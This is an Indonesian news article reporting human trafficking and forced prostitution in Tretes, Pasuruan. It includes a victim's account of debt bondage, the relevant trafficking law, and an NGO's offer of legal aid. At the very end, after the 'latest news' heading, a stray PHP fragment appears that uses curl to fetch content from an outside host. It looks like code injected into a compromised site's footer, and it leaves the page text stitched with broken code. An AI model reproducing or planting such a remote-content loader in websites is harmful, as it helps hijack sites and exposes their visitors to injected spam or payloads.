Ketua Umum LSM Gmicak Siap Jadi Biro Hukum Korban Tindak Pidana Perdagangan Orang “Tretes Edisi I”.

Rabu, 11 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Pasuruan | jejakkasus.info – Tindak Pidana Perdagangan Orang (TPPO) dengan dipekerjakan sebagai Pekerja Seks Komersial (PSK), di Kecamatan Prigen, Kabupaten Pasuruan, Provinsi Jawa Timur marak, tidak terjamah Kepolisian Polda Jatim, Mabes Polri. Rabu 11 September 2024.

Bukan hanya di Gang Sono, Gang Jl. Pesanggrahan, Tretes, Kecamatan Prigen, di Wisma Wisma Semeru Kecamatan Prigen, Kabupaten Pasuruan Provinsi Jawa Timur marak, hal tersebut saat beberapa wanita yang bakal dijadikan korban bekerja sebagai PSK.

Bunga saat di wawancarai Media dan Lembaga Swadaya Masyarakat (LSM) Generasi Muda Indonesia Cerdas Anti Korupsi (Gmicak), menjelaskan, saya memang butuh uang untuk anak anak saya makan dan sekolah, makanya pada saat saya menerima tawaran ada pekerjaan dan di kasih Bon 2 juta saya menerima nya uang itu.

Baca Juga:  Cegah Satwa Yang Dilindungi Masuk Pemukiman, Ditpolairud Polda Jateng Jalin Kerjasama Dengan BKSDA

Awalnya tidak di jelaskan pekerjaannya secara detail, saya kita hanya menemani tamu minum dan nyanyi, tidak taunya dilokasi selain menemani tamu minum dan nyanyi ada Plus Plus nya saya harus menemani Tamu tidur.

Lebih lanjut Indah menjelaskan : di Tretes Prigen 3 Jam menemani minum dan Nyanyi (Karaoke) dan tidur layaknya suami istri itu Rp.700.000 (tuju ratus ribu rupiah). Jelasnya sambil menangis.

Baca Juga:  Sambut Tahun Baru Islam 1446 H. Desa Karangrejo Gelar Grebeg Suro

Saya tidak bisa berbuat apa apa disini tidak boleh keluar dan di awasi oleh orang orang Wisma. Saya tidak bisa bebas melarikan diri meski tersiksa sakit, karena Saya ada kasbon, apabila Saya melarikan diri Saya akan di Viralkan di Medsos. Jeritannya berharap Kepolisian Polsek Prigen, Polres Pasuruan, Polda Jatim Mabes Polri ada tindakan melakukan pengamanan Hukum terhadap para Korban Pekerja Seks Komersial (PSK).

Perdagangan orang adalah bentuk modern dari perbudakan manusia. Perdagangan orang juga merupakan salah satu bentuk perlakuan terburuk dari pelanggaran harkat dan martabat manusia.

Baca Juga:  SATUAN SAMAPTA POLRES NAGAN RAYA MELAKSANAKAN PATROLI PRESISI UNTUK KEAMANAN WILAYAH HUKUM POLRES NAGAN RAYA

Pasal 4 UU RI No 21 tahun 2007 tentang pemberantasan TPPO. FLA terancam hukuman maksimal 15 tahun penjara dan denda Rp 600 juta.

Menindaklanjuti hal di atas Supriyanto (ilyas) Ketua Umum Lembaga Swadaya Masyarakat (LSM) Generasi Muda Indonesia Cerdas Anti Korupsi (Gmicak), berharap Pemerintah Kabupaten Pasuruan, Jawa Timur dan Aparat Penegak Hukum Polsek Prigen, Polres Pasuruan, Polda Jatim Mabes Polri ada tindakan Tegas.

Lembaga Swadaya Masyarakat (LSM) Generasi Muda Indonesia Cerdas Anti Korupsi (Gmicak)  juga siap menjadi Biro Hukum Korban PSK.

 

Rilis : Raja
.

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung
Kompol Muhammad Mukid Sosialisasi Penyebaran Narkoba Ke Pelajar
Personel Polsek Krueng Sabee Laksanakan Patroli KRYD, Sisir Lokasi Strategis untuk Jaga Keamanan

Berita Terkait

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Kamis, 3 Oktober 2024 - 18:47 WIB

Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini

Kamis, 3 Oktober 2024 - 16:44 WIB

Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>